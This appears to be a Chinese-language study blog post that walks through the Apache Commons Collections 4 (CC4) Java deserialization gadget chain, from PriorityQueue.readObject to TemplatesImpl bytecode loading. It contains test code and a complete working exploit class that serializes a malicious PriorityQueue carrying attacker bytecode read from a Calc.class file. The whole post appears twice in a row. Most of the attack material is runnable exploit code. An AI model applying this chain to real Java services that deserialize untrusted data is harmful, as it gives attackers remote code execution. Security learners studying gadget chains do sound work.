CC4
CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。
环境 JDK8u65
maven添加依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency > <dependency > <groupId > junit</groupId > <artifactId > junit</artifactId > <version > 4.13.2</version > <scope > test</scope > </dependency > </dependencies >
commons-collections
可以去掉,但是有可能,你和之前CC链子学习是在同一个项目,调试的时候就会报错。
因为还是 CC 链的漏洞,所以一般是与 transform
分不开的。尾部执行命令的方式:动态加载和命令执行。
org.apache.commons.collections4.functors.InstantiateTransformer
之前使用的是 org.apache.commons.collections.functors.InstantiateTransformer;
find usage依次寻找。主要看 commons-collections4
的库
org.apache.commons.collections4.comparators.TransformingComparator#compare
PriorityQueue java.util.PriorityQueue
1 2 java.util .PriorityQueue#siftDownUsingComparator java.util .PriorityQueue#siftDown
之后遇到三个,前两个函数内部很多if,先不考虑,直接看 heapify
1 2 3 java.util .PriorityQueue#poll java.util .PriorityQueue#removeAt java.util .PriorityQueue#heapify
在 readObject
中调用,没有很多限制,很开心。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
开搞开搞 序列化和反序列化函数
1 2 3 4 5 6 7 8 9 public static void serializable (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); }public static Object unserializable (String path) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (path)); return ois.readObject(); }
1.0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 @Test public void test () throws Exception { byte [] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; TemplatesImpl templates = new TemplatesImpl (); Class<?> clazz = templates.getClass(); Field _name = clazz.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates, "test" ); Field _bytecodes = clazz.getDeclaredField("_bytecodes" ); _bytecodes.setAccessible(true ); _bytecodes.set(templates, codes); Field _tfactory = clazz.getDeclaredField("_tfactory" ); _tfactory.setAccessible(true ); _tfactory.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer); PriorityQueue queue = new PriorityQueue (2 ,transformingComparator); serializable(queue); unserializable("ser.bin" ); }
run,一片安静,?????
在每个利用点打个断点,老师也没教我怎么打断点啊,只是跟着恩师翁恺老师,学习了一点C语言,知道程序会停在断点那里。
直接给每个利用点(方法和被调方法)打起断点。
1 2 在方法入口处打断点,即 函数一旦被调用就暂停。 在函数内部的某一行代码(如 if 语句、循环、方法调用等)设置断点,仅当执行到该具体行时,调试器才会暂停程序。
i == -1
,直接跑出去了呀。由于size是类的属性,怎么知道的,看颜色啊,不看颜色就点进去看。
反射搞搞,或者找其他赋值的点。
反射 设置size的值处理过后,要大于0;
>>>
向右移位,高位补0。(size >>> 1 ) - 1
,size (10)2
是2,右移为 (1)2 - 1 = 0
,满足条件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 @Test public void test2 () throws Exception { byte [] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; TemplatesImpl templates = new TemplatesImpl (); Class<?> clazz = templates.getClass(); Field _name = clazz.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates, "test" ); Field _bytecodes = clazz.getDeclaredField("_bytecodes" ); _bytecodes.setAccessible(true ); _bytecodes.set(templates, codes); Field _tfactory = clazz.getDeclaredField("_tfactory" ); _tfactory.setAccessible(true ); _tfactory.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer); PriorityQueue queue = new PriorityQueue (2 ,transformingComparator); Field size = queue.getClass().getDeclaredField("size" ); size.setAccessible(true ); size.set(queue,2 ); serializable(queue); unserializable("ser.bin" ); }
add()赋值 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public boolean add (E e) { return offer(e); }public boolean offer (E e) { if (e == null ) throw new NullPointerException (); modCount++; int i = size; if (i >= queue.length) grow(i + 1 ); size = i + 1 ; if (i == 0 ) queue[0 ] = e; else siftUp(i, e); return true ; }
调用一次,size加一。需要调动两次。
这里需要注意函数第二次调用时i == 1
,所以会调用siftUp()
,会触发链子。这就需要用到以前的老套路,先传入无关的属性,序列化是反射修改。
1 2 3 siftUp siftUpUsingComparatorcompare
最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC4EXP { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Drunkbaby" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer <>(1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer" ); transformingField.setAccessible(true ); transformingField.set(transformingComparator, chainedTransformer); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
小摊 搞完已经是11点40了,害。准备学下一个。
链子
1 2 3 4 5 6 7 8 9 10 11 12 13 TransletClassLoader.defineClass() TemplatesImpl.defineTransletClasses() TemplatesImpl.getTransletInstance() TemplatesImpl.newTransformer() com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#TrAXFilter org.apache.commons.collections4.functors.InstantiateTransformer#transform org.apache.commons.collections4.comparators.TransformingComparator#compare java.util.PriorityQueue#siftDownUsingComparator java.util.PriorityQueue#siftDown java.util.PriorityQueue#heapify java.util.PriorityQueue#readObject
CC4
CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。
环境 JDK8u65
maven添加依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency > <dependency > <groupId > junit</groupId > <artifactId > junit</artifactId > <version > 4.13.2</version > <scope > test</scope > </dependency > </dependencies >
commons-collections
可以去掉,但是有可能,你和之前CC链子学习是在同一个项目,调试的时候就会报错。
因为还是 CC 链的漏洞,所以一般是与 transform
分不开的。尾部执行命令的方式:动态加载和命令执行。
org.apache.commons.collections4.functors.InstantiateTransformer
之前使用的是 org.apache.commons.collections.functors.InstantiateTransformer;
find usage依次寻找。主要看 commons-collections4
的库
org.apache.commons.collections4.comparators.TransformingComparator#compare
PriorityQueue java.util.PriorityQueue
1 2 java.util .PriorityQueue#siftDownUsingComparator java.util .PriorityQueue#siftDown
之后遇到三个,前两个函数内部很多if,先不考虑,直接看 heapify
1 2 3 java.util .PriorityQueue#poll java.util .PriorityQueue#removeAt java.util .PriorityQueue#heapify
在 readObject
中调用,没有很多限制,很开心。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
开搞开搞 序列化和反序列化函数
1 2 3 4 5 6 7 8 9 public static void serializable (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); }public static Object unserializable (String path) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (path)); return ois.readObject(); }
1.0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 @Test public void test () throws Exception { byte [] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; TemplatesImpl templates = new TemplatesImpl (); Class<?> clazz = templates.getClass(); Field _name = clazz.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates, "test" ); Field _bytecodes = clazz.getDeclaredField("_bytecodes" ); _bytecodes.setAccessible(true ); _bytecodes.set(templates, codes); Field _tfactory = clazz.getDeclaredField("_tfactory" ); _tfactory.setAccessible(true ); _tfactory.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer); PriorityQueue queue = new PriorityQueue (2 ,transformingComparator); serializable(queue); unserializable("ser.bin" ); }
run,一片安静,?????
在每个利用点打个断点,老师也没教我怎么打断点啊,只是跟着恩师翁恺老师,学习了一点C语言,知道程序会停在断点那里。
直接给每个利用点(方法和被调方法)打起断点。
1 2 在方法入口处打断点,即 函数一旦被调用就暂停。 在函数内部的某一行代码(如 if 语句、循环、方法调用等)设置断点,仅当执行到该具体行时,调试器才会暂停程序。
i == -1
,直接跑出去了呀。由于size是类的属性,怎么知道的,看颜色啊,不看颜色就点进去看。
反射搞搞,或者找其他赋值的点。
反射 设置size的值处理过后,要大于0;
>>>
向右移位,高位补0。(size >>> 1 ) - 1
,size (10)2
是2,右移为 (1)2 - 1 = 0
,满足条件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 @Test public void test2 () throws Exception { byte [] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; TemplatesImpl templates = new TemplatesImpl (); Class<?> clazz = templates.getClass(); Field _name = clazz.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates, "test" ); Field _bytecodes = clazz.getDeclaredField("_bytecodes" ); _bytecodes.setAccessible(true ); _bytecodes.set(templates, codes); Field _tfactory = clazz.getDeclaredField("_tfactory" ); _tfactory.setAccessible(true ); _tfactory.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer); PriorityQueue queue = new PriorityQueue (2 ,transformingComparator); Field size = queue.getClass().getDeclaredField("size" ); size.setAccessible(true ); size.set(queue,2 ); serializable(queue); unserializable("ser.bin" ); }
add()赋值 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public boolean add (E e) { return offer(e); }public boolean offer (E e) { if (e == null ) throw new NullPointerException (); modCount++; int i = size; if (i >= queue.length) grow(i + 1 ); size = i + 1 ; if (i == 0 ) queue[0 ] = e; else siftUp(i, e); return true ; }
调用一次,size加一。需要调动两次。
这里需要注意函数第二次调用时i == 1
,所以会调用siftUp()
,会触发链子。这就需要用到以前的老套路,先传入无关的属性,序列化是反射修改。
1 2 3 siftUp siftUpUsingComparatorcompare
最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC4EXP { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Drunkbaby" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer <>(1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer" ); transformingField.setAccessible(true ); transformingField.set(transformingComparator, chainedTransformer); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
小摊 搞完已经是11点40了,害。准备学下一个。
链子
1 2 3 4 5 6 7 8 9 10 11 12 13 TransletClassLoader.defineClass() TemplatesImpl.defineTransletClasses() TemplatesImpl.getTransletInstance() TemplatesImpl.newTransformer() com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#TrAXFilter org.apache.commons.collections4.functors.InstantiateTransformer#transform org.apache.commons.collections4.comparators.TransformingComparator#compare java.util.PriorityQueue#siftDownUsingComparator java.util.PriorityQueue#siftDown java.util.PriorityQueue#heapify java.util.PriorityQueue#readObject